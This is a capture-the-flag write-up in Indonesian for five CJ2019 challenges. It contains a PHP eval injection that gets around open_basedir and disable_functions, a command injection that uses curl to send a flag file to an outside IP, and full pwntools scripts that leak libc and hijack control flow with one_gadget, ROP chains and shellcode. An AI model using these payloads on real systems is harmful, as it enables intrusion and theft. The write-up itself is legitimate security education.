EZPHP

Diberikan *webservice* yang berjalan pada http://34.87.70.206:20004/ beserta snippet code yang diimplementasikan pada server sebagai berikut

```
<?php
if(isset($_REQUEST['cmd'])) {
    $dir = "/tmp/" . md5(hash('sha512', php_uname() .
$_SERVER['REMOTE_ADDR']));
    @mkdir($dir);
    ini_set("open_basedir", "$dir:/var/www/html/");

    eval($_REQUEST['cmd']);
} else {
    show_source(__FILE__);
}
?>
```

Dari sini, diperoleh pemahaman bahwa webservice vulnerable terhadap command injection yang diinvokasi melalui fungsi **eval()**. Selain itu terdapat restriksi open_basedir yang memberikan konsekuensi bahwa akses file hanya dapat dilakukan pada directory tertentu.

Sebagai acuan selanjutnya, kami lakukan pengecekan terhadap *disable_function* sehingga diperoleh

```
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,proc_open,putenv,getenv,glob,system
```

Terlihat bahwa beberapa fungsi yang tidak dapat digunakan untuk kepentingan RCE maupun file traversing. Setelah beberapa saat, diketahui bahwa terdapat fungsi readdir() & opendir() yang dapat digunakan untuk melakukan directory listing

```
$ curl
http://34.87.70.206:20004/?cmd=$handle%20=%20opendir(%27.%27);%20while($entry%20=%20readdir($handle)){echo%20$entry.%27%20%27;}

. .. mi1k7ea asu hope a posos bajigur ab zzz index.php
```

Akan tetapi, mengingat terdapat restriksi open_basedir, maka directory listing tidak dapat dilakukan untuk directory lain. Untuk itu, kami lakukan proses bypass dengan invokasi berikut

```
$ curl chdir("/tmp/074c4d4840f1297c6a10ef065782272a/"); mkdir("ab"); chdir("ab"); ini_set("open_basedir", ".."); ini_get("open_basedir"); chdir(".."); chdir(".."); ini_set("open_basedir", "/"); $handle = opendir('/'); while($entry = readdir($handle)){echo $entry.' ';}

usr etc media proc lib64 opt var sys mnt . dev lib tmp bin srv home .. sbin root boot run .dockerenv flag readFlag
```

Tampak bahwa terdapat file flag. Untuk itu, kami lakukan proses readfile dengan show_source, namun terdapat permission issue. Hasilnya, kami berasumsi bahwa diperlukan eksekusi ELF binary /readFlag. Dari sini, kami mencoba untuk melakukan php_ini overriding dengan payload berikut

```
$ curl http://34.87.70.206:20004/?cmd=chdir("/tmp/074c4d4840f1297c6a10ef065782272a/"); mkdir("baka"); chdir("baka"); ini_set("open_basedir", ".."); ini_get("open_basedir"); chdir(".."); chdir(".."); ini_set("open_basedir", "/"); ini_set('disable_functions', ''); exec('/readFlag');
```

Hasilnya diperoleh flag yang diminta

*NB: Dikarenakan env sering kali berubah, payload yang kami gunakan tidak dapat digunakan kembali

LookingGlass

Diberikan webservice yang berjalan pada http://34.87.70.206:20001 beserta source code. Setelah beberapa saat, kami menemukan sebuah vuln pada fungsi validUrl(). Dari sini, kami mencoba mengeksekusi url_scheme 0://host/`payload`. Adapun berikut ini payload yang digunakan untuk memperoleh flag

```
http://34.87.70.206:20001/?ajax.php?cmd=host&host=0://google.com/`curl${IFS}104.43.21.157:4545/$(cat${IFS}../flag)`
```

FLAG : CJ2019{943136ed2ac5f1edda4075c5868861d5}

Washall

Diberikan ELF 64-bit stripped. Binary ini merupakan program untuk mencari jarak terpendek antar kota (sesuai deskripsi). Kota dan jarak yang dicari merupakan hasil input dari user.

```
> ./warshall
== Shortest Path Finder ==

1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: e
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
> 1
City name: a
1) Add city
2) Build direct road
3) Find shortest path
4) Exit
>
```

Terdapat beberapa vuln disini. Pertama, saat mencari jarak kota, jika jaraknya sama dengan 0x3b9aca00 maka program akan memberi tahu bahwa kota belum terhubung (jarak belum

diset). Namun, karna baris selanjutnya diluar if, maka program tetap mengeluarkan jarak antar kota.

```
29      }
30    }
31  }
32  printf("Insert city 1: ");
33  fgets(&s, 256, stdin);
34  strtok(&s, "\n");
35  v7 = find_city(&s);
36  if ( v7 == -1 )
37  {
38    puts("City not exists!");
39  }
40  else
41  {
42    printf("Insert city 2: ", "\n");
43    fgets(&v11, 256, stdin);
44    strtok(&v11, "\n");
45    v8 = find_city(&v11);
46    if ( v8 == -1 )
47    {
48      puts("City not exists!");
49    }
50    else
51    {
52      if ( v9[v8 + 100LL * v7] == 0x3B9ACA00 )
53        printf("No path from %s to %s\n", &s, &v11);
54      printf("Shortest path from %s to %s: %dkm\n", &s, &v11, (unsigned int)v9[v8 + 100LL * v7]);
55    }
56  }
57  return *MK_FP(__FS__, 40LL) ^ v12;
```

Selanjutnya, fungsi add city tidak memberi batasan jumlah kota yang dapat dibuat, sehingga kita bisa membuat kota sebanyak mungkin.

```
1  __int64 add_city()
2  {
3    int v0; // eax@3
4    char s; // [sp+0h] [bp-110h]@1
5    __int64 v3; // [sp+108h] [bp-8h]@1
6
7    v3 = *MK_FP(__FS__, 40LL);
8    printf("City name: ");
9    fgets(&s, 256, stdin);
10   strtok(&s, "\n");
11   if ( (signed int)find_city(&s) < 0 )
12   {
13     v0 = cities_ctr++;
14     strcpy(&cities[256 * (signed __int64)v0], &s);
15   }
16   else
17   {
18     puts("City already exists!");
19   }
20   return *MK_FP(__FS__, 40LL) ^ v3;
21 }
```

Dengan memanfaatkan kedua bug tersebut, kami dapat melakukan leak __libc_start_main_ret dengan menggunakan fungsi yang menampilkan jaral dan mengoverwrite __libc_start_main_ret dengan one_gadget menggunakan fungsi yang mengubah jarak antar kota. Untuk jumlah kota, kami memasukkan kota sebanyak 211 buah.

Untuk melakuakan leak pada libc, kami menghitung jarak v9 dengan saved rip main. Jaraknya 80600. Karena v9 merupakan array integer, maka jarak tersebut dibagi 4 untk menghitung jumlah index (20150). Karna nilai dihitung dengan v9[v8*100+v7], maka v8 = 200 dan v7 = 150.

Untuk mengoverwrite, kita gunakan fungsi yang mengeset jarak seperti cara diatas. Berikut script yang kami gunakan

sv.py

```
from pwn import *
from itertools import permutations
import string



l = ELF('libc6_2.28-0ubuntu1_amd64.so', checksec=False)
r = remote('34.87.70.206', 10001)

k = string.ascii_lowercase
city = []
for x in permutations(k, 3):
   city.append(''.join(x))
   if(len(city) == 210):
       break

# print city[100]

def addCity(c):
   r.sendlineafter('> ', '1')
   r.sendlineafter('name: ', c)

def build(c1, c2, d):
   r.sendlineafter('> ', '2')
   r.sendlineafter('1: ', c1)
   r.sendlineafter('2: ', c2)
   r.sendlineafter('km): ', str(d))

def find(c1, c2):
   r.sendlineafter('> ', '3')
   r.sendlineafter('1: ', c1)
   r.sendlineafter('2: ', c2)
   r.recvuntil(': ')
```

```
    return int(r.recvuntil('km')[:-2])


def ex():
    r.sendlineafter('> ', '4')
    r.interactive()

for i in range(210):
    addCity(city[i])

leak = find(city[200], city[150])
leak = 2**32+leak
leak = (find(city[200], city[151]) << 32) | leak

print hex(leak)
l.address = leak - 0x2409b
one_gadget = l.address + 0x50186

d = one_gadget & 0xffffffff
build(city[100], city[10], d)
ex()
```

```
> py sv.py
[+] Opening connection to 34.87.70.206 on port 10001: Done
0x7f612fa9709b
[*] Switching to interactive mode
$ ls
flag
run.sh
warshall
$ cat f*
CJ2019{68aba30bebe7e486e3b8a387d02fada9}

$
```

FLAG : CJ2019{68aba30bebe7e486e3b8a387d02fada9}

Midas

Diberikan ELF 64 bit stripped. Binary ini menghitung jumlah penukaran yang bisa dilakukan dari jumlah yang dilakukan. Binary ini akan menambahkan array dengan menggunakan index dari value yang diinginkan pada menu compute dengan uang yang diset. Karena value yang diinginkan tidak dibatasi, hal ini dapat mengakibatkan array out of bound dan dapat meleak/mengoverwrite nilai yang ada di stack

Berikut script yang kami gunakan

sv.py

```
from pwn import *

l = ELF('libc6_2.28-0ubuntu1_amd64.so', checksec=False)
env={"LD_PRELOAD":
"/root/Downloads/CJ/midas/app/libc6_2.28-0ubuntu1_amd64.so"}

r = process('./midas', env=env)
# r = remote('34.87.70.206', 10002)

# leak
r.sendlineafter(': ', '2')
r.sendlineafter(': ', '3010')
r.recvuntil('with ')
leak = 2**32-1+int(r.recvuntil(' ')[:-1])

r.sendlineafter(': ', '2')
r.sendlineafter(': ', '3011')
r.recvuntil('with ')
leak = int(r.recvuntil(' ')[:-1]) << 32 | leak
leak += 1

print(hex(leak))
l.address = leak - 0x2409b
one_gadget = 0x50186
inc = (l.address+one_gadget) - leak
print(inc)

# init
r.sendlineafter(': ', '1')
r.sendlineafter(': ', '9')
for i in range(9):
   r.sendlineafter(': ', '3010')

for i in range(inc/9):
   if(i%1000) == 0:
       print i
   r.sendlineafter(': ', '2')
   r.sendlineafter(': ', '3010')
```

```
r.sendlineafter(': ', '3')
r.interactive()
```

```
5000
6000
7000
8000
9000
10000
11000
12000
13000
14000
15000
16000
17000
18000
19000
20000
[*] Switching to interactive mode
$ ls
flag
midas
run.sh
$ cat f*
CJ2019{0c7a201ae34ec921353d534aff55ce0b}
$
```

Kreis

DIberikan dua buah binary 64 bit. Binary sandbox akan menjaga dan menjalankan binary kreis. Jika binary kreis melakukan syscall execve, maka program akan diberhentikan. Karena shellcode cukup kecil, maka kami menggunakan shellcode itu untuk menulis ropgadget pada stack, dan menggunakan ropgadget itu untuk menuliskan shellcode yang panjang dan membaca flag.

Berikut script yang kami buat

sv.py

```
from pwn import *
context.arch = 'amd64'

l = ELF('./libc6_2.28-0ubuntu1_amd64.so', checksec=False)
b = ELF('./kreis', checksec=False)

pop_rdi = 0x00000000004007f3
pop_rsi = 0x00000000004007f1
```

```
# shell =  """
#             pop rdx
#             mov rsi, rsp
#             xor rdi, rdi
#             syscall
#             ret
#             """

shell =  """
            pop rdx
            mov rsi, rsp
            xor rdi, rdi
            syscall
            ret
           """
shell = asm(shell)
r = remote('34.87.70.206', 10003)

r.sendafter(':', shell)

p = ''
p += p64(pop_rdi)
p += p64(b.got['puts'])
p += p64(b.plt['puts'])
p += p64(0x0000000000400658)
p += p64(0x00601d00)
p += p64(b.symbols['main'])

sleep(1)
r.send(p)
r.recvline()
l.address = int(r.recvline()[:-1][::-1].encode('hex'), 16) -
l.symbols['puts']
print hex(l.address)
r.sendafter(':\n', shell)

p = ''

p += p64(l.address + 0x00000000001290c6) # pop rdx; ret
p += p64(7)
p += p64(pop_rsi)
```

```
p += p64(0x1000)*2
p += p64(pop_rdi)
p += p64(0x601000)
p += p64(b.symbols['mprotect'])

p += p64(pop_rdi)
p += p64(b.got['puts'])
p += p64(b.plt['puts'])

p += p64(pop_rdi)
p += p64(0x6010a0)
p += p64(l.symbols['gets'])

p += p64(0x6010a8)

r.sendline(p)

shell = """
xor rax, rax
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx

inc al
inc al
mov rdi, 0x6010a0
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 100
syscall

xor rax, rax
inc al
xor rdi, rdi
inc rdi
mov rsi, rsp
syscall
```

```
"""


shell = asm(shell)
shell = './flag\x00\x00' + shell
# sleep(1)
# r.sendline(shell)
# sleep(1)
r.recvline()
r.sendline(shell)


r.interactive()
```

```
> py sv.py
[+] Opening connection to 34.87.70.206 on port 10003: Done
0x7fa38a373000
[*] Switching to interactive mode
CJ2019{fac46bab5cc3c4e80cbcc2ee9174fd7d}
\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x000\x9c\xa1\x85\xfe\x7f\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x1a\x06@\x00\x00\x00\x00\x00(\x9c\xa1\x85\xfe\x7f\x0
0\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[Sandbox] Segmentation Fault
[*] Got EOF while reading in interactive
$
```

FLAG : CJ2019{fac46bab5cc3c4e80cbcc2ee9174fd7d}